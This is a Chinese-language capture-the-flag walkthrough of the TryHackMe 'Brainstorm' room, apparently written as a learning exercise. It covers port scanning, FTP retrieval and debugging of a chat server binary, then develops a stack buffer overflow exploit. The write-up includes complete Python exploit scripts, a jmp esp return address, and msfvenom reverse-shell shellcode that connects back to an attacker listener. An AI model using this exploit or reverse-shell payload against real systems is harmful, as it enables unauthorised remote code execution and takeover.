tryhackme-Brainstorm(头脑风暴)
如果通过了Buffer Overflow Prep
房间,在做这个房间的时候你会得到实践。
信息收集
首先使用nmap进行端口扫描得到下方的结果,常用的扫描方式如下
nmap -sT -p- --min-rate 10000 target_ip -Pn -oA open_port
nmap -sV -O -A -p port1,port2,port2 -OA version
扫描的结果如下
# Nmap 7.94SVN scan initiated Fri Jul 12 23:44:59 2024 as: nmap -sV -O -A --min-rate 10000 -p21,3389,9999 -Pn -oA version 10.10.107.102
Nmap scan report for 10.10.107.102
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
3389/tcp open ms-wbt-server?
9999/tcp open abyss?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| Welcome to Brainstorm chat (beta)
| Please enter your username (max 20 characters): Write a message:
| NULL:
| Welcome to Brainstorm chat (beta)
|_ Please enter your username (max 20 characters):
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.94SVN%I=7%D=7/12%Time=6691F844%P=x86_64-pc-linux-gnu%r
SF:(NULL,52,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20en
SF:ter\x20your\x20username\x20\(max\x2020\x20characters\):\x20")%r(GetRequ
SF:est,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20ente
SF:r\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20
SF:message:\x20")%r(HTTPOptions,63,"Welcome\x20to\x20Brainstorm\x20chat\x2
SF:0\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20charac
SF:ters\):\x20Write\x20a\x20message:\x20")%r(FourOhFourRequest,63,"Welcome
SF:\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20us
SF:ername\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%
SF:r(JavaRMI,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x
SF:20enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x2
SF:0a\x20message:\x20")%r(GenericLines,63,"Welcome\x20to\x20Brainstorm\x20
SF:chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x2
SF:0characters\):\x20Write\x20a\x20message:\x20")%r(RTSPRequest,63,"Welcom
SF:e\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20u
SF:sername\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")
SF:%r(RPCCheck,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease
SF:\x20enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\
SF:x20a\x20message:\x20")%r(DNSVersionBindReqTCP,63,"Welcome\x20to\x20Brai
SF:nstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(ma
SF:x\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(DNSStatusReq
SF:uestTCP,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20
SF:enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a
SF:\x20message:\x20")%r(Help,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(
SF:beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20character
SF:s\):\x20Write\x20a\x20message:\x20")%r(SSLSessionReq,63,"Welcome\x20to\
SF:x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\
SF:x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(Termi
SF:nalServerCookie,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPl
SF:ease\x20enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Wr
SF:ite\x20a\x20message:\x20");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|7|8.1|Phone (90%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Server 2008 (87%), Microsoft Windows Server 2008 R2 (87%), Microsoft Windows Server 2008 R2 or Windows 8 (87%), Microsoft Windows 7 SP1 (87%), Microsoft Windows 8.1 Update 1 (87%), Microsoft Windows 8.1 R1 (87%), Microsoft Windows Phone 7.5 or 8.0 (87%), Microsoft Windows Embedded Standard 7 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 236.81 ms 10.9.0.1
2 237.08 ms 10.10.107.102
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 12 23:48:29 2024 -- 1 IP address (1 host up) scanned in 210.13 seconds
返回的结果中开放了21 3389 9999
端口,连接9999
端口可以发现运行这一个二进制程序
通过题目的提示得知应该需要从ftp
下载文件,但是连接下载时出现了这样的问题.
┌──(kali㉿kali)-[~/Brainstorm]
└─$ ftp 10.10.95.149
Connected to 10.10.95.149.
220 Microsoft FTP Service
Name (10.10.95.149:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49159|)
ftp执行ls命令一直卡住,通过网上查找执行passive
命令即可
下载后我们需要再本地的windows
中搭建调试工具
Immunity Debugger
: https://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/Immunity-Debugger.shtmlmona插件
: https://github.com/corelan/mona
安装需要注意的点:
- 安装
Immunity Debugger
依赖于python2.7
会顺便让我们安装python2.7
环境,可以顺便配置环境变量 - 下载完成
mona插件
将其复制到Immunity Debugger
安装目录中的PyCommands
目录中
接着运行二进制程序发现是9999
端口运行的程序
调试程序查找漏洞
就是之前学习的步骤
首先需要找到哪一个缓冲区我们可以控制,根据题目描述username
可能有限制,然后发送的message
可以尝试
通过尝试发现2500
个字符的时候程序崩溃
EIP已经被我们覆盖,这是需要精确的定位到有多少个字节,使用msf-pattern
复制EIP
的值31704330
定位
我们得到程序缓冲区的大小为2012
字节,该程序是x86
的程序,所以寄存器占用4个字节
接着尝试传入2012
个垃圾字节填满缓冲区,然后传入4
个字节覆盖EIP
脚本如下
#!/usr/bin/python
import socket
import time
import sys
ip = "192.168.226.1"
port = 9999
username = b"Junglezt"
offset = 2012
message = b"A" * offset
retn = b"BBBB"
padding = b""
payload = b""
message += retn
message += padding
message += payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print("Sending buffer")
s.connect((ip,port))
s.recv(1024)
s.recv(1024)
s.send(username + b"\r\n")
time.sleep(1)
s.send(message + b"\r\n")
s.recv(1024)
print("Done!")
s.close()
except:
print("Unable to connect to the application.")
sys.exit()
如果执行的没错的话,这次程序崩溃时EIP
会是42424242
,运行脚本查看
确实如我们所想,接着的步骤结束查找坏字符,然后找到jmp esp
,最后生成shellcode
反弹shell
寻找坏字符我们使用mona
插件
!mona bytearray -b "\x00"
修改后的脚本如下
#!/usr/bin/python
import socket
import time
import sys
ip = "192.168.226.132"
port = 9999
username = b"Junglezt"
offset = 2012
message = b"A" * offset
retn = b"BBBB"
padding = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
payload = b""
message += retn
message += padding
message += payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print("Sending buffer")
s.connect((ip,port))
s.recv(1024)
s.recv(1024)
s.send(username + b"\r\n")
time.sleep(1)
s.send(message + b"\r\n")
s.recv(1024)
print("Done!")
s.close()
except:
print("Unable to connect to the application.")
sys.exit()
运行后复制esp
值``使用mona
插件查找坏字符
!mona compare -f C:\mona\chatserver\bytearray.bin -a 0290EEA8
从结果看出该程序除了\x00
以外没有坏字符
接着查找jmp esp
!mona jmp -r esp -cpb "\x00"
将jmp esp
的使用小端排序填充到retn
变量
retn = b"\xdf\x14\x50\x62" # 0x625014df
接着生成shellcode
填充到payload
变量
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.226.131 LPORT=4444 EXITFUNC=thread -b "\x00" -f c
现在脚本差不多准备好了,为了shellcode
的稳定执行,在前方填充一些nop
指令,nop
执行的十六进制为\x90
,修改padding
padding = b"\x90" * 16
修改完成后的脚本
#!/usr/bin/python
import socket
import time
import sys
ip = "192.168.226.132"
port = 9999
username = b"Junglezt"
offset = 2012
message = b"A" * offset
retn = b"\xdf\x14\x50\x62" # 0x625014df
padding = b"\x90" * 16
payload = (
b"\xb8\x41\x2e\x8e\xed\xda\xd6\xd9\x74\x24\xf4\x5b\x31\xc9"
b"\xb1\x52\x31\x43\x12\x03\x43\x12\x83\xaa\xd2\x6c\x18\xd0"
b"\xc3\xf3\xe3\x28\x14\x94\x6a\xcd\x25\x94\x09\x86\x16\x24"
b"\x59\xca\x9a\xcf\x0f\xfe\x29\xbd\x87\xf1\x9a\x08\xfe\x3c"
b"\x1a\x20\xc2\x5f\x98\x3b\x17\xbf\xa1\xf3\x6a\xbe\xe6\xee"
b"\x87\x92\xbf\x65\x35\x02\xcb\x30\x86\xa9\x87\xd5\x8e\x4e"
b"\x5f\xd7\xbf\xc1\xeb\x8e\x1f\xe0\x38\xbb\x29\xfa\x5d\x86"
b"\xe0\x71\x95\x7c\xf3\x53\xe7\x7d\x58\x9a\xc7\x8f\xa0\xdb"
b"\xe0\x6f\xd7\x15\x13\x0d\xe0\xe2\x69\xc9\x65\xf0\xca\x9a"
b"\xde\xdc\xeb\x4f\xb8\x97\xe0\x24\xce\xff\xe4\xbb\x03\x74"
b"\x10\x37\xa2\x5a\x90\x03\x81\x7e\xf8\xd0\xa8\x27\xa4\xb7"
b"\xd5\x37\x07\x67\x70\x3c\xaa\x7c\x09\x1f\xa3\xb1\x20\x9f"
b"\x33\xde\x33\xec\x01\x41\xe8\x7a\x2a\x0a\x36\x7d\x4d\x21"
b"\x8e\x11\xb0\xca\xef\x38\x77\x9e\xbf\x52\x5e\x9f\x2b\xa2"
b"\x5f\x4a\xfb\xf2\xcf\x25\xbc\xa2\xaf\x95\x54\xa8\x3f\xc9"
b"\x45\xd3\x95\x62\xef\x2e\x7e\x4d\x58\xd2\xfd\x25\x9b\x12"
b"\x13\xea\x12\xf4\x79\x02\x73\xaf\x15\xbb\xde\x3b\x87\x44"
b"\xf5\x46\x87\xcf\xfa\xb7\x46\x38\x76\xab\x3f\xc8\xcd\x91"
b"\x96\xd7\xfb\xbd\x75\x45\x60\x3d\xf3\x76\x3f\x6a\x54\x48"
b"\x36\xfe\x48\xf3\xe0\x1c\x91\x65\xca\xa4\x4e\x56\xd5\x25"
b"\x02\xe2\xf1\x35\xda\xeb\xbd\x61\xb2\xbd\x6b\xdf\x74\x14"
b"\xda\x89\x2e\xcb\xb4\x5d\xb6\x27\x07\x1b\xb7\x6d\xf1\xc3"
b"\x06\xd8\x44\xfc\xa7\x8c\x40\x85\xd5\x2c\xae\x5c\x5e\x4c"
b"\x4d\x74\xab\xe5\xc8\x1d\x16\x68\xeb\xc8\x55\x95\x68\xf8"
b"\x25\x62\x70\x89\x20\x2e\x36\x62\x59\x3f\xd3\x84\xce\x40"
b"\xf6"
)
message += retn
message += padding
message += payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print("Sending buffer")
s.connect((ip,port))
s.recv(1024)
s.recv(1024)
s.send(username + b"\r\n")
time.sleep(1)
s.send(message + b"\r\n")
s.recv(1024)
print("Done!")
s.close()
except:
print("Unable to connect to the application.")
sys.exit()
漏洞利用
重新运行程序,本地监听4444
端口
万事具备,运行脚本尝试获取shell
此时我们已经在本地打通了,再次使用msfvenom
生成shellcode
修改IP为openvpn
的IP,替换payload
,运行得到shell
接着获取root.txt
是的,你做到了。